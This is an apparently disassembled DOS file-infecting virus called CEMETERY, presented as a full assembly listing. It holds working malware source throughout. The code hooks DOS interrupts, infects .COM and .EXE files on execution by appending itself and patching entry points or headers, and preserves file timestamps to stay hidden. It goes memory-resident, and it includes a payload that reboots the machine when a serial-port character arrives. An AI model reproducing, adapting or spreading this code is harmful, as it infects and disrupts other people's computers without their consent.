home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 60,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ CEMETERY ██
- ;██ ██
- ;██ Created: 4-Mar-91 ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- data_1e equ 4Ch ; (0000:004C=31h)
- data_2e equ 4Eh ; (0000:004E=70h)
- data_3e equ 70h ; (0000:0070=0FF33h)
- data_4e equ 72h ; (0000:0072=0F000h)
- data_5e equ 84h ; (0000:0084=0E3h)
- data_6e equ 86h ; (0000:0086=161Ah)
- data_7e equ 90h ; (0000:0090=8Eh)
- data_8e equ 92h ; (0000:0092=1498h)
- data_9e equ 102h ; (0000:0102=0CC00h)
- data_10e equ 106h ; (0000:0106=326h)
- data_11e equ 450h ; (0000:0450=184Fh)
- data_12e equ 46Ch ; (0000:046C=0C4BCh)
- data_13e equ 46Eh ; (0000:046E=10h)
- data_14e equ 47Bh ; (0000:047B=0)
- data_15e equ 0 ; (0326:0000=6A7h)
- data_16e equ 2 ; (0326:0002=70h)
- data_17e equ 0 ; (0687:0000=81h)
- data_18e equ 1 ; (0688:0001=0FF17h)
- data_19e equ 2 ; (06E3:0002=2342h)
- data_20e equ 6 ; (06E3:0006=2344h)
- data_46e equ 0FBF0h ; (701E:FBF0=0)
- data_47e equ 0FBF2h ; (701E:FBF2=0)
- data_48e equ 0FC10h ; (701E:FC10=0)
- data_49e equ 0FC12h ; (701E:FC12=0)
- data_50e equ 0FC14h ; (701E:FC14=0)
- data_51e equ 0FC1Eh ; (701E:FC1E=0)
- data_52e equ 0FC20h ; (701E:FC20=0)
- data_53e equ 0FC26h ; (701E:FC26=0)
- data_54e equ 0FC28h ; (701E:FC28=0)
-
- code_seg_a segment
- assume cs:code_seg_a, ds:code_seg_a
-
-
- org 100h
-
- cemetery proc far
-
- start:
- data_21 dw 0CE9h
- data_22 dw 0C304h
- db 23 dup (0C3h)
- db 'CEMETERY'
- data_24 dw 0C3C3h
- data_25 dw 0C3C3h
- data_26 dw 0
- data_27 dw 0
- data_28 dw 0
- data_29 dw 0
- data_30 dw 0
- data_31 dd 00000h
- data_32 dw 0
- data_33 dw 0
- data_34 dd 00000h
- data_35 dw 0
- data_36 dw 0
- db 68h, 0E8h, 55h, 3, 90h, 3Dh
- db 4Dh, 4Bh, 75h, 9, 55h, 8Bh
- db 0ECh, 83h, 66h, 6, 0FEh, 5Dh
- db 0CFh, 80h, 0FCh, 4Bh, 74h, 12h
- db 3Dh, 0, 3Dh, 74h, 0Dh, 3Dh
- db 0, 6Ch, 75h, 5, 80h, 0FBh
- db 0, 74h, 3
- loc_1:
- jmp loc_13
- loc_2:
- push es
- push ds
- push di
- push si
- push bp
- push dx
- push cx
- push bx
- push ax
- call sub_6
- call sub_7
- cmp ax,6C00h
- jne loc_3 ; Jump if not equal
- mov dx,si
- loc_3:
- mov cx,80h
- mov si,dx
-
- locloop_4:
- inc si
- mov al,[si]
- or al,al ; Zero ?
- loopnz locloop_4 ; Loop if zf=0, cx>0
-
- sub si,2
- cmp word ptr [si],4D4Fh
- je loc_7 ; Jump if equal
- cmp word ptr [si],4558h
- je loc_6 ; Jump if equal
- loc_5:
- jmp short loc_12
- db 90h
- loc_6:
- cmp word ptr [si-2],452Eh
- nop
- jz loc_8 ; Jump if zero
- jmp short loc_5
- loc_7:
- cmp word ptr [si-2],432Eh
- jne loc_5 ; Jump if not equal
- cmp word ptr [si-4],444Eh
- jne loc_5 ; Jump if not equal
- loc_8:
- mov ax,3D02h
- call sub_5
- jc loc_12 ; Jump if carry Set
- mov bx,ax
- mov ax,5700h
- call sub_5
- mov cs:data_27,cx ; (701E:0129=0)
- mov cs:data_28,dx ; (701E:012B=0)
- mov ax,4200h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- call sub_5
- push cs
- pop ds
- mov dx,103h
- mov si,dx
- mov cx,18h
- mov ah,3Fh ; '?'
- call sub_5
- jc loc_10 ; Jump if carry Set
- cmp word ptr [si],5A4Dh
- jne loc_9 ; Jump if not equal
- call sub_1
- jmp short loc_10
- loc_9:
- call sub_4
- loc_10:
- jc loc_11 ; Jump if carry Set
- mov ax,5701h
- mov cx,cs:data_27 ; (701E:0129=0)
- mov dx,cs:data_28 ; (701E:012B=0)
- call sub_5
- loc_11:
- mov ah,3Eh ; '>'
- call sub_5
- loc_12:
- call sub_7
- pop ax
- pop bx
- pop cx
- pop dx
- pop bp
- pop si
- pop di
- pop ds
- pop es
- loc_13:
- jmp cs:data_31 ; (701E:0131=0)
-
- cemetery endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_1 proc near
- mov cx,[si+16h]
- add cx,[si+8]
- mov ax,10h
- mul cx ; dx:ax = reg * ax
- add ax,[si+14h]
- adc dx,0
- push dx
- push ax
- mov ax,4202h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- call sub_5
- cmp dx,0
- jne loc_14 ; Jump if not equal
- cmp ax,589h
- jae loc_14 ; Jump if above or =
- pop ax
- pop dx
- stc ; Set carry flag
- ret
- loc_14:
- mov di,ax
- mov bp,dx
- pop cx
- sub ax,cx
- pop cx
- sbb dx,cx
- cmp word ptr [si+0Ch],0
- je loc_ret_17 ; Jump if equal
- cmp dx,0
- jne loc_15 ; Jump if not equal
- cmp ax,589h
- jne loc_15 ; Jump if not equal
- stc ; Set carry flag
- ret
- loc_15:
- mov dx,bp
- mov ax,di
- push dx
- push ax
- add ax,589h
- adc dx,0
- mov cx,200h
- div cx ; ax,dx rem=dx:ax/reg
- les di,dword ptr [si+2] ; Load 32 bit ptr
- mov cs:data_29,di ; (701E:012D=0)
- mov cs:data_30,es ; (701E:012F=0)
- mov [si+2],dx
- cmp dx,0
- je loc_16 ; Jump if equal
- inc ax
- loc_16:
- mov [si+4],ax
- pop ax
- pop dx
- call sub_2
- sub ax,[si+8]
- les di,dword ptr [si+14h] ; Load 32 bit ptr
- mov data_24,di ; (701E:0123=0C3C3h)
- mov data_25,es ; (701E:0125=0C3C3h)
- mov [si+14h],dx
- mov [si+16h],ax
- mov word ptr data_26,ax ; (701E:0127=0)
- mov ax,4202h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- call sub_5
- call sub_3
- jc loc_ret_17 ; Jump if carry Set
- mov ax,4200h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- call sub_5
- mov ah,40h ; '@'
- mov dx,si
- mov cx,18h
- call sub_5
-
- loc_ret_17:
- ret
- sub_1 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_2 proc near
- mov cx,4
- mov di,ax
- and di,0Fh
-
- locloop_18:
- shr dx,1 ; Shift w/zeros fill
- rcr ax,1 ; Rotate thru carry
- loop locloop_18 ; Loop if cx > 0
-
- mov dx,di
- ret
- sub_2 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_3 proc near
- mov ah,40h ; '@'
- mov cx,589h
- mov dx,100h
- call sub_6
- jmp short loc_22
- db 90h
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- sub_4:
- mov ax,4202h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- call sub_5
- cmp ax,589h
- jb loc_ret_21 ; Jump if below
- cmp ax,0FA00h
- jae loc_ret_21 ; Jump if above or =
- push ax
- cmp byte ptr [si],0E9h
- jne loc_19 ; Jump if not equal
- sub ax,58Ch
- cmp ax,[si+1]
- jne loc_19 ; Jump if not equal
- pop ax
- stc ; Set carry flag
- ret
- loc_19:
- call sub_3
- jnc loc_20 ; Jump if carry=0
- pop ax
- ret
- loc_20:
- mov ax,4200h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- call sub_5
- pop ax
- sub ax,3
- mov dx,123h
- mov si,dx
- mov byte ptr cs:[si],0E9h
- mov cs:[si+1],ax
- mov ah,40h ; '@'
- mov cx,3
- call sub_5
-
- loc_ret_21:
- ret
- sub_3 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_5 proc near
- loc_22:
- pushf ; Push flags
- call cs:data_31 ; (701E:0131=0)
- ret
- sub_5 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_6 proc near
- push ax
- push ds
- push es
- xor ax,ax ; Zero register
- push ax
- pop ds
- cli ; Disable interrupts
- les ax,dword ptr ds:data_7e ; (0000:0090=18Eh) Load 32 bit ptr
- mov cs:data_32,ax ; (701E:0135=0)
- mov cs:data_33,es ; (701E:0137=0)
- mov ax,3ABh
- mov ds:data_7e,ax ; (0000:0090=18Eh)
- mov ds:data_8e,cs ; (0000:0092=1498h)
- les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
- mov cs:data_35,ax ; (701E:013D=0)
- mov cs:data_36,es ; (701E:013F=0)
- les ax,cs:data_34 ; (701E:0139=0) Load 32 bit ptr
- mov ds:data_1e,ax ; (0000:004C=831h)
- mov ds:data_2e,es ; (0000:004E=70h)
- sti ; Enable interrupts
- pop es
- pop ds
- pop ax
- ret
- sub_6 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_7 proc near
- push ax
- push ds
- push es
- xor ax,ax ; Zero register
- push ax
- pop ds
- cli ; Disable interrupts
- les ax,dword ptr cs:data_32 ; (701E:0135=0) Load 32 bit ptr
- mov ds:data_7e,ax ; (0000:0090=18Eh)
- mov ds:data_8e,es ; (0000:0092=1498h)
- les ax,dword ptr cs:data_35 ; (701E:013D=0) Load 32 bit ptr
- mov ds:data_1e,ax ; (0000:004C=831h)
- mov ds:data_2e,es ; (0000:004E=70h)
- sti ; Enable interrupts
- pop es
- pop ds
- pop ax
- ret
- sub_7 endp
-
- db 0B0h, 3, 0CFh, 50h, 53h, 51h
- db 2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h
- db 0F7h, 3, 0A3h, 50h, 4, 2Eh
- db 0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h
- db 9, 0B9h, 1, 0, 0CDh, 10h
- db 0E8h, 34h, 0, 0E8h, 0B7h, 0
- db 2Eh, 0A1h, 0F7h, 3, 0A3h, 50h
- db 4, 0B3h, 7, 0B8h, 7, 9
- db 0B9h, 1, 0, 0CDh, 10h, 2Eh
- db 0A1h, 0FEh, 3, 0A3h, 50h, 4
- db 7, 1Fh
- db ']_^ZY[X.'
- db 0FFh, 2Eh, 0FAh, 3
- data_37 dw 0
- data_38 db 10h
- data_39 db 10h
- data_40 db 0
- data_41 dw 0
- data_42 dw 0
- db 0, 0, 2Eh, 0A1h, 0F7h, 3
- db 8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh
- db 0F6h, 6, 0F9h, 3, 1, 74h
- db 0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh
- db 80h, 36h, 0F9h, 3, 1, 0EBh
- db 0Ah
- loc_23:
- cmp al,0
- jg loc_24 ; Jump if >
- xor byte ptr cs:data_40,1 ; (701E:03F9=0)
- loc_24:
- test byte ptr cs:data_40,2 ; (701E:03F9=0)
- jz loc_25 ; Jump if zero
- cmp ah,18h
- jb loc_26 ; Jump if below
- xor byte ptr cs:data_40,2 ; (701E:03F9=0)
- jmp short loc_26
- loc_25:
- cmp ah,0
- jg loc_26 ; Jump if >
- xor byte ptr cs:data_40,2 ; (701E:03F9=0)
- loc_26:
- cmp byte ptr cs:data_37,20h ; (701E:03F5=0) ' '
- je loc_27 ; Jump if equal
- db 2Eh
- data_44 dw 3E80h
- db 0F8h, 3, 0, 74h, 6, 2Eh
- db 80h, 36h, 0F9h, 3, 2
- loc_27:
- test byte ptr cs:data_40,1 ; (701E:03F9=0)
- jz loc_28 ; Jump if zero
- inc cs:data_38 ; (701E:03F7=10h)
- jmp short loc_29
- loc_28:
- dec cs:data_38 ; (701E:03F7=10h)
- loc_29:
- test byte ptr cs:data_40,2 ; (701E:03F9=0)
- jz loc_30 ; Jump if zero
- inc cs:data_39 ; (701E:03F8=10h)
- jmp short loc_ret_31
- loc_30:
- dec cs:data_39 ; (701E:03F8=10h)
-
- loc_ret_31:
- ret
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_8 proc near
- mov ax,word ptr cs:data_38 ; (701E:03F7=1010h)
- mov ds:data_11e,ax ; (0000:0450=184Fh)
- mov bh,data_55 ; (0000:0462=0D400h)
- mov ah,8
- int 10h ; Video display ah=functn 08h
- ; get char al & attrib ah @curs
- mov cs:data_37,ax ; (701E:03F5=0)
- ret
- sub_8 endp
-
- db 50h, 53h, 51h, 52h, 56h, 57h
- db 55h, 1Eh, 6, 33h, 0C0h, 50h
- db 1Fh, 81h, 3Eh, 70h, 0, 0AEh
- db 3, 74h, 35h, 0A1h, 6Ch, 4
- db 8Bh, 16h, 6Eh, 4, 0B9h, 0FFh
- db 0FFh, 0F7h, 0F1h, 3Dh, 10h, 0
- db 75h, 24h, 0FAh, 8Bh, 2Eh, 50h
- db 4, 0E8h, 0BEh, 0FFh, 89h, 2Eh
- db 50h, 4, 0C4h, 6, 70h, 0
- db 2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch
- db 6, 0FCh, 3, 0C7h, 6, 70h
- db 0, 0AEh, 3, 8Ch, 0Eh, 72h
- db 0, 0FBh
- loc_32:
- mov ah,2
- int 14h ; RS-232 dx=com1, ah=func 02h
- ; get char al, ah=return status
- cmp al,31h ; '1'
- je loc_33 ; Jump if equal
- jnz loc_34 ; Jump if not zero
- loc_33:
- int 19h ; Bootstrap loader
- loc_34:
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_9 proc near
- mov dx,10h
- mul dx ; dx:ax = reg * ax
- ret
- sub_9 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_10 proc near
- xor ax,ax ; Zero register
- xor bx,bx ; Zero register
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- xor si,si ; Zero register
- xor di,di ; Zero register
- xor bp,bp ; Zero register
- ret
- sub_10 endp
-
- db 1Eh, 0E8h, 0, 0
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_11 proc near
- mov ax,4B4Dh
- int 21h ; DOS Services ah=function 4Bh
- ; run progm @ds:dx, parm @es:bx
- jc loc_35 ; Jump if carry Set
- jmp loc_45
- loc_35:
- pop si
- push si
- mov di,si
- xor ax,ax ; Zero register
- push ax
- pop ds
- les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
- mov cs:data_53e[si],ax ; (701E:FC26=0)
- mov cs:data_54e[si],es ; (701E:FC28=0)
- les bx,dword ptr ds:data_5e ; (0000:0084=6E3h) Load 32 bit ptr
- mov cs:data_51e[di],bx ; (701E:FC1E=0)
- mov cs:data_52e[di],es ; (701E:FC20=0)
- mov ax,ds:data_9e ; (0000:0102=0CC00h)
- cmp ax,0F000h
- jne loc_43 ; Jump if not equal
- mov dl,80h
- mov ax,ds:data_10e ; (0000:0106=326h)
- cmp ax,0F000h
- je loc_36 ; Jump if equal
- cmp ah,0C8h
- jb loc_43 ; Jump if below
- cmp ah,0F4h
- jae loc_43 ; Jump if above or =
- test al,7Fh
- jnz loc_43 ; Jump if not zero
- mov ds,ax
- cmp word ptr ds:data_15e,0AA55h ; (0326:0000=6A7h)
- jne loc_43 ; Jump if not equal
- mov dl,ds:data_16e ; (0326:0002=70h)
- loc_36:
- mov ds,ax
- xor dh,dh ; Zero register
- mov cl,9
- shl dx,cl ; Shift w/zeros fill
- mov cx,dx
- xor si,si ; Zero register
-
- locloop_37:
- lodsw ; String [si] to ax
- cmp ax,0FA80h
- jne loc_38 ; Jump if not equal
- lodsw ; String [si] to ax
- cmp ax,7380h
- je loc_39 ; Jump if equal
- jnz loc_40 ; Jump if not zero
- loc_38:
- cmp ax,0C2F6h
- jne loc_41 ; Jump if not equal
- lodsw ; String [si] to ax
- cmp ax,7580h
- jne loc_40 ; Jump if not equal
- loc_39:
- inc si
- lodsw ; String [si] to ax
- cmp ax,40CDh
- je loc_42 ; Jump if equal
- sub si,3
- loc_40:
- dec si
- dec si
- loc_41:
- dec si
- loop locloop_37 ; Loop if cx > 0
-
- jmp short loc_43
- loc_42:
- sub si,7
- mov cs:data_53e[di],si ; (701E:FC26=0)
- mov cs:data_54e[di],ds ; (701E:FC28=0)
- loc_43:
- mov ah,62h ; 'b'
- int 21h ; DOS Services ah=function 62h
- ; get progrm seg prefix addr bx
- mov es,bx
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h
- ; release memory block, es=seg
- mov bx,0FFFFh
- mov ah,48h ; 'H'
- int 21h ; DOS Services ah=function 48h
- ; allocate memory, bx=bytes/16
- sub bx,5Ah
- nop
- jc loc_45 ; Jump if carry Set
- mov cx,es
- stc ; Set carry flag
- adc cx,bx
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah
- ; change mem allocation, bx=siz
- mov bx,59h
- stc ; Set carry flag
- sbb es:data_19e,bx ; (06E3:0002=2342h)
- push es
- mov es,cx
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah
- ; change mem allocation, bx=siz
- mov ax,es
- dec ax
- mov ds,ax
- mov word ptr ds:data_18e,8 ; (0688:0001=0FF17h)
- call sub_9
- mov bx,ax
- mov cx,dx
- pop ds
- mov ax,ds
- call sub_9
- add ax,ds:data_20e ; (06E3:0006=2344h)
- adc dx,0
- sub ax,bx
- sbb dx,cx
- jc loc_44 ; Jump if carry Set
- sub ds:data_20e,ax ; (06E3:0006=2344h)
- loc_44:
- mov si,di
- xor di,di ; Zero register
- push cs
- pop ds
- sub si,413h
- mov cx,589h
- inc cx
- rep movsb ; Rep while cx>0 Mov [si] to es:[di]
- mov ah,62h ; 'b'
- int 21h ; DOS Services ah=function 62h
- ; get progrm seg prefix addr bx
- dec bx
- mov ds,bx
- mov byte ptr ds:data_17e,5Ah ; (0687:0000=81h) 'Z'
- mov dx,142h
- xor ax,ax ; Zero register
- push ax
- pop ds
- mov ax,es
- sub ax,10h
- mov es,ax
- cli ; Disable interrupts
- mov ds:data_5e,dx ; (0000:0084=6E3h)
- mov ds:data_6e,es ; (0000:0086=161Ah)
- sti ; Enable interrupts
- dec byte ptr ds:data_14e ; (0000:047B=0)
- loc_45:
- pop si
- cmp word ptr cs:data_46e[si],5A4Dh ; (701E:FBF0=0)
- jne loc_46 ; Jump if not equal
- pop ds
- mov ax,cs:data_50e[si] ; (701E:FC14=0)
- mov bx,cs:data_49e[si] ; (701E:FC12=0)
- push cs
- pop cx
- sub cx,ax
- add cx,bx
- push cx
- push word ptr cs:data_48e[si] ; (701E:FC10=0)
- push ds
- pop es
- call sub_10
- ret ; Return far
- loc_46:
- pop ax
- mov ax,cs:data_46e[si] ; (701E:FBF0=0)
- mov cs:data_21,ax ; (701E:0100=0CE9h)
- mov ax,cs:data_47e[si] ; (701E:FBF2=0)
- mov cs:data_22,ax ; (701E:0102=0C304h)
- mov ax,100h
- push ax
- push cs
- pop ds
- push ds
- pop es
- call sub_10
- ret
- sub_11 endp
-
-
- code_seg_a ends
-
-
-
- end start
-